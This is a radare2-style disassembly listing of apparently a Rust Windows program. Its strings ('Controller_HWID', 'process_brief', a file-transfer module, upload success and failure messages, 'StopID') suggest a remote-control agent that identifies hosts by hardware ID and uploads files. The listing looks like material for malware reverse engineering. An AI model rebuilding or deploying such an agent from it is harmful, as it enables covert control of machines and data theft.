mov r14, qword [rbp + 0x2c18]
mov r13, r14
and r13, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rbp + 0x2d68], rax
movdqu xmm8, xmmword [rbx + r13]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rbp + 0x26e0], ax
mov rcx, r12
call fcn.140015047
test rax, rax
je 0x140030a86
add rdx, r13
and rdx, r14
shl rdx, 5
mov r15, rbx
sub r15, rdx
mov rdx, qword [r15 - 0x20]
mov r8, qword [r15 - 0x10]
lea rcx, [rbp + 0x29a0]
call fcn.140015079
test al, al
je 0x140030a4f
jmp 0x140030ab9
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140030cee
mov rax, qword [rbp + 0x2d68]
add r13, rax
add r13, 0x10
add rax, 0x10
mov qword [rbp + 0x2d68], rax
and r13, r14
jmp 0x140030a35
mov rcx, qword [r15 - 8]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rbp + 0x2980], rax
mov qword [rbp + 0x2988], rcx
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x88]
mov qword [rbp + 0x2a50], rax
mov qword [rbp + 0x2a58], rcx
mov rax, qword [rdi]
test rax, rax
je 0x140030af8
mov rax, qword [rdi + 8]
mov qword [rbp + 0x2950], rax
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x2b80], rax
lea rax, [rbp + 0x2980]
mov qword [rbp + 0x26e0], rax
lea rax, [0x14008f7a0]
mov qword [rbp + 0x26e8], rax
lea rax, [rbp + 0x29a0]
mov qword [rbp + 0x26f0], rax
lea rcx, [0x140010290]
mov qword [rbp + 0x26f8], rcx
lea rax, [rbp + 0x2ba0]
mov qword [rbp + 0x2700], rax
mov qword [rbp + 0x2708], rcx
mov qword [rsp + 0x20], 3
lea rcx, [rbp + 0x2400]
lea rdx, str.called__Option::unwrap____on_a__None__value
push 4
pop r8
mov r9, r12
call fcn.14000c3a4
lea rcx, [rbp + 0x2a70]
lea rdx, [rbp + 0x2400]
call fcn.14000ff7c
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqa xmmword [rbp + 0x2b20], xmm0
mov rax, qword [rbp + 0x2a80]
mov qword [rbp + 0x2b30], rax
lea rax, [rbp + 0x2a50]
mov qword [rbp + 0x26e0], rax
lea rax, [0x14008f7a0]
mov qword [rbp + 0x26e8], rax
lea rax, [rbp + 0x2af8]
mov qword [rbp + 0x26f0], rax
lea rax, [0x140009125]
mov qword [rbp + 0x26f8], rax
lea rax, [rbp + 0x2950]
mov qword [rbp + 0x2700], rax
lea rax, [fcn.1400ae455]
mov qword [rbp + 0x2708], rax
lea rax, [rbp + 0x2b80]
mov qword [rbp + 0x2710], rax
lea rax, [0x1400b8df3]
mov qword [rbp + 0x2718], rax
lea rax, [rbp + 0x2b20]
mov qword [rbp + 0x2720], rax
lea rax, [0x140010290]
mov qword [rbp + 0x2728], rax
mov qword [rsp + 0x20], 5
lea rcx, [rbp + 0x2400]
lea rdx, str.called__Option::unwrap____on_a__None__value
push 6
pop r8
mov r9, r12
call fcn.14000c3a4
lea rcx, [rbp + 0x2a70]
lea rdx, [rbp + 0x2400]
call fcn.14000ff7c
mov rcx, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
call fcn.140047b8c
mov r8, qword [rbp + 0x2a80]
mov qword [rbp + 0x26f0], r8
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqa xmmword [rbp + 0x26e0], xmm0
mov rdi, qword [rbp + 0x26e0]
lea rcx, [rbp + 0x2670]
mov rdx, rdi
call fcn.140047d41
mov rdx, qword [rbp + 0x26e8]
mov rcx, rdi
call fcn.140047b8c
mov rcx, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
call fcn.140047b8c
mov rcx, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
call fcn.140047b8c
jmp 0x14003089f
lea rax, case.0x140078d05.39
mov rcx, rsi
jmp 0x140030ac5
mov byte [rbp + 0x2d56], 1
mov ecx, 0x140
call fcn.14001018f
mov qword [rbp + 0x2d68], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x26e8], rax
mov qword [rbp + 0x26f0], rdx
mov qword [rbp + 0x26f8], 6
mov byte [rbp + 0x26e0], 5
push 0xd
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x66656972625f7373
mov qword [rax + 5], rcx
movabs rcx, 0x5f737365636f7270
mov qword [rax], rcx
mov rcx, qword [rbp + 0x2700]
mov qword [rbp + 0x20a0], rcx
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movdqa xmmword [rbp + 0x2090], xmm1
movdqa xmmword [rbp + 0x2080], xmm0
mov byte [rbp + 0x20a8], 5
mov qword [rbp + 0x20b0], rax
mov qword [rbp + 0x20b8], rdx
mov qword [rbp + 0x20c0], 0xd
push 4
pop rbx
mov rcx, rbx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x26e8], rax
mov qword [rbp + 0x26f0], rdx
mov qword [rbp + 0x26f8], 4
mov byte [rbp + 0x26e0], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x2a87], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x2a77], xmm0
movups xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26f0]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x2700]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x2a7f]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x2a87]
mov qword [rbp + 0x2440], rax
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 0xe
mov byte [rbp + 0x2a70], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2b37], rax
movups xmm0, xmmword [rbp + 0x26e0]
movups xmmword [rbp + 0x2b27], xmm0
movups xmm0, xmmword [rbp + 0x2a70]
movdqu xmm1, xmmword [rbp + 0x2a80]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2b20]
movdqu xmmword [rbp + 0x2709], xmm0
mov rax, qword [rbp + 0x2b2f]
mov qword [rbp + 0x2718], rax
mov rax, qword [rbp + 0x2b37]
mov qword [rbp + 0x2720], rax
push 7
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax + 3], 0x65676173
mov dword [rax], 0x7373654d
movups xmm0, xmmword [rbp + 0x2670]
lea r8, [rbp + 0x2a70]
movups xmmword [r8 + 7], xmm0
mov rcx, qword [rbp + 0x2680]
mov qword [r8 + 0x17], rcx
mov ecx, dword [rbp + 0x2ba0]
mov r9d, dword [rbp + 0x2ba3]
mov dword [rbp + 0x29a0], ecx
mov dword [rbp + 0x29a3], r9d
movups xmm0, xmmword [r8]
movaps xmmword [rbp + 0x2b20], xmm0
mov rcx, qword [r8 + 0xf]
mov qword [rbp + 0x2b2f], rcx
mov rcx, qword [r8 + 0x17]
mov qword [rbp + 0x2b37], rcx
push 0xa
pop r10
lea rsi, [rbp + 0x2080]
mov rcx, r10
mov r14, qword [rbp + 0x2d68]
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
lea rdi, [r14 + 0x50]
lea r9, [rbp + 0x2400]
mov rcx, r10
mov rsi, r9
rep movsq qword [rdi], qword [rsi]
mov rdi, r14
add rdi, 0xa0
lea rsi, [rbp + 0x26e0]
mov rcx, r10
rep movsq qword [rdi], qword [rsi]
mov cl, 5
mov byte [r14 + 0xf0], cl
mov r10d, dword [rbp + 0x29a0]
mov r11d, dword [rbp + 0x29a3]
mov dword [r14 + 0xf1], r10d
mov dword [r14 + 0xf4], r11d
mov qword [r14 + 0xf8], rax
mov qword [r14 + 0x100], rdx
mov qword [r14 + 0x108], 7
mov byte [r14 + 0x118], cl
movups xmm0, xmmword [rbp + 0x2b2f]
movups xmmword [r14 + 0x128], xmm0
movdqa xmm0, xmmword [rbp + 0x2b20]
movdqu xmmword [r14 + 0x119], xmm0
mov qword [r9 + 8], r14
mov qword [r9 + 0x10], rbx
mov qword [r9 + 0x18], rbx
mov byte [r9], 8
lea rdx, [rbp + 0x2400]
mov rcx, r8
call fcn.140077c9a
mov rdx, qword [rbp + 0x2a70]
mov r8, qword [rbp + 0x2a80]
lea rcx, [rbp + 0x2080]
mov qword [rbp + 0x2d68], rdx
call fcn.14001545f
lea rcx, [rbp + 0x2a00]
call fcn.1400182d8
mov rsi, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2090]
lea rcx, [rbp + 0x2a00]
mov rdx, rsi
call fcn.1400181b0
test rax, rax
je 0x140031145
mov qword [rbp + 0x2ba0], rax
lea r9, [rbp + 0x2b20]
lea rax, [rbp + 0x2ba0]
mov qword [r9], rax
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140121a28]
lea rcx, [rbp + 0x26e0]
push 2
pop r8
call fcn.14000c3a4
lea rcx, [rbp + 0x26e0]
call fcn.140099510
lea rcx, [rbp + 0x2ba0]
call fcn.14000d499
mov rdx, qword [rbp + 0x2088]
mov rcx, rsi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2a78]
mov rcx, qword [rbp + 0x2d68]
call fcn.140047b8c
mov byte [rbp + 0x2d56], 0
lea rcx, [rbp + 0x2400]
call fcn.14000de3b
lea rcx, [rbp + 0x2c10]
call fcn.14000ca50
lea rcx, [rbp + 0x10]
call fcn.14000e23b
mov byte [rbp + 0x2d77], 0
lea rcx, [rbp + 0x2a00]
call fcn.14000e5e2
jmp 0x140026612
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
mov rcx, qword [rbp + 0x2cf0]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x2cf0], r15
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2980], rax
lea rdx, [rbp + 0x2080]
mov qword [rdx], rax
mov byte [rbp + 0x2ccb], 1
lea rcx, [rbp + 0x26e0]
call fcn.1400097bc
mov rax, qword [rbp + 0x29b0]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rdx], xmm0
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x26e0]
call fcn.14001587b
mov rcx, qword [rbp + 0x26e0]
mov rdx, qword [rbp + 0x26e8]
call fcn.140047b8c
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2338], rax
mov byte [rbp + 0x2d03], 1
mov byte [rbp + 0x2d02], 0
lea rcx, [rbp + 0x2080]
call fcn.14000d499
xor r13d, r13d
mov rdx, qword [rbp + 0x2408]
mov rcx, qword [rbp + 0x2cd0]
call fcn.140047b8c
lea rcx, [rbp + 0x2ba0]
call fcn.14000e03d
mov byte [rbp + 0x2d1c], r13b
mov rcx, qword [rbp + 0x2d68]
mov dl, byte [rbp + 0x2d38]
call fcn.14000c9d5
test r13b, r13b
je 0x1400312cc
lea rcx, [rbp + 0x29a0]
call fcn.14000e5e2
mov rcx, qword [rbp + 0x2d58]
mov rdx, qword [rbp + 0x2d48]
call fcn.140047b8c
mov rdx, qword [rbp + 0x2678]
mov rcx, rsi
call fcn.140047b8c
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
jmp 0x14002660d
mov rax, qword [rbp + 0x2090]
mov qword [rbp + 0x26f0], rax
movups xmm0, xmmword [rbp + 0x2080]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmm0, xmmword [rbp + 0x2400]
movdqa xmm1, xmmword [rbp + 0x2410]
movdqu xmmword [rbp + 0x26f8], xmm0
movdqu xmmword [rbp + 0x2708], xmm1
mov rax, qword [rbp + 0x2420]
mov qword [rbp + 0x2718], rax
mov qword [rbp + 0x2720], 1
movabs rax, 0xf27bdb3779e17938
mov qword [rbp + 0x2730], rax
movabs rax, 0x8acf677a48d25157
mov qword [rbp + 0x2728], rax
mov rax, qword [rbp + 0x2d48]
mov qword [rbp + 0x2738], rax
lea rax, fcn.14000eea6
mov qword [rbp + 0x2740], rax
cmp rdx, qword [rbp + 0xb8]
jne 0x140031492
mov rcx, rsi
call fcn.140062326
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xc0]
jmp 0x140031495
lea r8, [rbp + 0x10]
mov rdi, qword [r8 + 0x38]
and qword [r8], 0
push 1
pop r9
mov rcx, qword [rbp + 0x2d68]
xor edx, edx
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
test eax, eax
je 0x140031539
xor esi, esi
sub rdi, qword [rbp + 0x10]
mov r13d, 0
cmovae r13, rdi
jmp 0x140031545
lea r8, [0x140122825]
push 6
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400315e2
lea rdx, [0x14012282b]
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov dil, 1
test rax, rax
je 0x140026614
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14003272d
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14003276e
push 8
pop rax
imul rcx, rdx, 0x78
add rcx, rax
lea rdx, [rbp + 0x26e0]
push 0x78
pop r8
call fcn.140118131
inc qword [rbp + 0xc0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2d38], rax
mov r15, qword [rbp + 0xa8]
jmp 0x14002e8d5
lea rdx, [rbp + 0x2700]
lea rcx, [rbp + 0x2c10]
mov r8d, 0x88
call sub.msvcrt.dll_memcpy
movzx eax, word [rbp + 0x2c08]
mov word [rbp + 0x2b18], ax
mov qword [rbp + 0x2978], r13
jmp 0x140032805
mov dword [rbp + 0x2d48], 0
shr qword [rbp + 0x2978], 0x10
mov r12b, 1
push 2
pop rbx
mov rax, qword [rbp + 0x22e8]
mov qword [rbp + 0x2d58], rax
jmp 0x140032805
lea rcx, [rbp + 0x2080]
call fcn.14006b7d7
jmp 0x1400327f9
call qword [sym.imp.kernel32.dll_GetLastError]
mov sil, 1
xor r13d, r13d
mov rax, qword [rbp + 0x29a8]
mov rcx, qword [rbp + 0x29b0]
mov qword [rbp + 0x2970], rax
mov qword [rbp + 0x2ce8], rcx
sub rax, rcx
cmp rax, r13
jae 0x14003159b
lea rcx, [rbp + 0x29a0]
mov rdx, qword [rbp + 0x2ce8]
mov r8, r13
call fcn.14011cb80
mov rax, qword [rbp + 0x29a8]
mov qword [rbp + 0x2970], rax
mov rax, qword [rbp + 0x29b0]
mov qword [rbp + 0x2ce8], rax
mov al, 1
mov dword [rbp + 0x2d48], eax
test sil, sil
je 0x1400315ad
jmp case.0x140004fdc.335
add r13, 0x400
jb case.0x140004fdc.335
mov rax, r13
and rax, 0x1fff
je case.0x140004f63.354
mov ecx, 0x2000
sub rcx, rax
add r13, rcx
setb al
mov dword [rbp + 0x2d48], eax
jmp case.0x140004fdc.335
lea r9, [rbp + 0x26e0]
mov qword [r9], rdi
lea rax, [0x140010290]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2d77], 1
mov qword [rsp + 0x20], 1
lea rdx, str.called__Option::unwrap____on_a__None__value
lea rcx, [rbp + 0x10]
push 2
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
call fcn.140099510
jmp 0x140026049
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2ba0]
call fcn.14000fd59
mov byte [rbp + 0x2cce], 1
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2700]
lea rcx, [rbp + 0x10]
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_slice.rs
mov rcx, qword [rbp + 0x2d58]
mov rdx, rsi
call fcn.14011a390
jmp 0x140033972
mov rax, qword [rbp + 0x2b28]
mov qword [rbp + 0x2c10], rax
lea r9, [rbp + 0x2080]
lea rax, [rbp + 0x2c10]
mov qword [r9], rax
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2ce3], 1
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_upload_file:
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2ce3], 1
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
lea rcx, [rbp + 0x2080]
movaps xmmword [rcx], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x29b0]
lea rdx, [rbp + 0x10]
mov qword [rdx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rdx], xmm0
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov r10, qword [rbp + 0x2d20]
mov rax, qword [r10 + 0x18]
mov r10, qword [r10 + 0x28]
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rax
call fcn.14001587b
mov rcx, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2088]
call fcn.140047b8c
mov byte [rbp + 0x2d01], 0
lea rcx, [rbp + 0x2c10]
call fcn.14000d499
xor r13d, r13d
jmp 0x140033631
mov rbx, qword [rbp + 0x2b80]
lea r9, [rbp + 0x2080]
mov rax, qword [rbp + 0x2cb8]
mov qword [r9], rax
lea rax, [0x140010290]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2d57], 1
mov qword [rsp + 0x20], 1
lea rdx, str.called__Option::unwrap____on_a__None__value
lea rcx, [rbp + 0x10]
push 2
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2d57], 1
lea rcx, [rbp + 0x26e0]
lea r14, [rbp + 0x10]
mov rdx, r14
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
movaps xmmword [rbp + 0x2080], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2090], rax
mov rcx, qword [rbp + 0x29b0]
mov qword [rbp + 0x20], rcx
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, qword [rbx]
mov rdx, qword [rbx + 0x10]
mov r15, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov r11, qword [rbp + 0x2d20]
mov r10, qword [r11 + 0x18]
mov r11, qword [r11 + 0x28]
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r8, str.failed__been_uploaded_but_verification_failed_
push 6
pop r9
call fcn.140015f79
jmp 0x14003360c
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2400]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2410]
lea r8, str.StopID
push 4
pop r9
mov rcx, rsi
call fcn.14004253c
test al, al
jne 0x14003396d
mov rdx, qword [rbp + 0x2408]
mov rcx, rsi
call fcn.140047b8c
jmp 0x140026614
push 2
pop rbx
jmp 0x1400314e3
lea rax, str.failed_to_write_whole_buffer
mov qword [rbp + 0x2d58], rax
mov byte [rbp + 0x2d55], 0
lea rcx, [rbp + 0x2400]
call fcn.14006b7d7
mov r12b, 6
push 2
pop rbx
mov dword [rbp + 0x2d48], eax
mov al, 2
mov dword [rbp + 0x2d48], eax
jmp 0x140031507
mov rbx, qword [rbp + 0x2b80]
lea r9, [rbp + 0x2080]
mov rax, qword [rbp + 0x2cb8]
mov qword [r9], rax
lea rax, [0x140010290]
mov qword [r9 + 8], rax
mov byte [rbp + 0x2d57], 1
mov qword [rsp + 0x20], 1
lea rdx, str.called__Option::unwrap____on_a__None__value
lea rcx, [rbp + 0x10]
push 2
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2d57], 1
lea rcx, [rbp + 0x26e0]
lea r14, [rbp + 0x10]
mov rdx, r14
call fcn.14000ff7c
movups xmm0, xmmword [rbp + 0x26e0]
movaps xmmword [rbp + 0x2080], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2090], rax
mov rcx, qword [rbp + 0x29b0]
mov qword [rbp + 0x20], rcx
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, qword [rbx]
mov rdx, qword [rbx + 0x10]
mov r15, qword [rbp + 0x2080]
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov r11, qword [rbp + 0x2d20]
mov r10, qword [r11 + 0x18]
mov r11, qword [r11 + 0x28]
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r8, str.success_uploaded_successfully_
push 7
pop r9
call fcn.140015f79
mov rdx, qword [rbp + 0x2088]
mov rcx, r15
call fcn.140047b8c
xor r13d, r13d
mov rdx, qword [rbp + 0x2c18]
mov rcx, qword [rbp + 0x2cf0]
call fcn.140047b8c
lea rcx, [rbp + 0x2a70]
call fcn.14000e03d
mov rbx, qword [rbp + 0x2b80]
mov rax, qword [rbp + 0x2d68]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rax + 0x38]
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
call fcn.14004230a
mov rcx, rdi
mov rdx, rax
mov r8, rbx
call fcn.140015120
test rax, rax
je 0x140033779
mov r8, rax
mov r10, qword [rbp + 0x2d68]
mov rcx, qword [r10 + 0x10]
mov rax, rcx
sub rax, r8
push 0x50
pop r9
cqo
idiv r9
lea rdx, [rax - 0x10]
and rdx, qword [r10 + 0x18]
movdqu xmm0, xmmword [rcx + rdx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rcx + rax]
pcmpeqb xmm0, xmm1
pmovmskb r9d, xmm0
test r10d, r10d
je 0x1400336d0
bsr r10w, r10w
xor r10d, 0xf
jmp 0x1400336d5
mov r10w, 0x10
or r9d, 0x10000
bsf r9d, r9d
add r10d, r9d
mov r9b, 0x80
cmp r10w, 0xf
ja 0x1400336fb
mov r9, qword [rbp + 0x2d68]
inc qword [r9 + 0x20]
mov r9b, 0xff
mov byte [rcx + rax], r9b
mov byte [rdx + rcx + 0x10], r9b
mov rax, qword [rbp + 0x2d68]
dec qword [rax + 0x28]
mov rcx, qword [r8 - 0x50]
mov rdx, qword [r8 - 0x48]
movups xmm0, xmmword [r8 - 0x10]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r8 - 0x30]
movaps xmmword [rbp + 0x20], xmm0
movdqu xmm0, xmmword [r8 - 0x40]
movdqa xmmword [rbp + 0x10], xmm0
test rcx, rcx
je 0x140033779
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x2710], rax
movdqu xmm0, xmmword [rbp + 0x18]
movdqu xmm1, xmmword [rbp + 0x28]
movups xmm2, xmmword [rbp + 0x38]
movaps xmmword [rbp + 0x2700], xmm2
movdqa xmmword [rbp + 0x26f0], xmm1
movdqa xmmword [rbp + 0x26e0], xmm0
call fcn.140047b8c
jmp 0x140033781
and qword [rbp + 0x26e0], 0
lea rcx, [rbp + 0x26e0]
call fcn.14000f4ec
jmp 0x140031283
lea rax, str.srcmodule_file_transfer.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140121340]
push 0x2b
pop rdx
lea r8, [rbp + 0x2980]
call fcn.14011a700
jmp 0x140033972
mov byte [rbp + 0x2d46], 1
call fcn.140045f20
jmp 0x140033972
mov byte [rbp + 0x2d46], 1
push 8
pop rcx
mov rdx, rbx
call fcn.14011a0d0
jmp 0x140033972
mov rcx, qword [rbp + 0x58]
lea r8, [rbp + 0x26e0]
mov byte [r8], al
mov eax, dword [rbp + 0x39]
mov edx, dword [rbp + 0x3c]
mov dword [r8 + 1], eax
mov dword [r8 + 4], edx
mov rax, qword [rbp + 0x2d58]
mov qword [r8 + 8], rax
mov rax, qword [rbp + 0x2d48]
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], r15
mov qword [r8 + 0x20], rcx
lea rax, [0x14015c844]
mov qword [r8 + 0x28], rax
mov qword [r8 + 0x30], 6
lea rax, str.srcmain.rsFailed_to_get_current_executable
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000e7d0
push 0x2b
pop rdx
call fcn.14011a700
jmp 0x140033972
mov byte [rbp + 0x2d76], 1
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
mov rdx, rdi
call fcn.14011a320
jmp 0x140033972
call fcn.1400a7630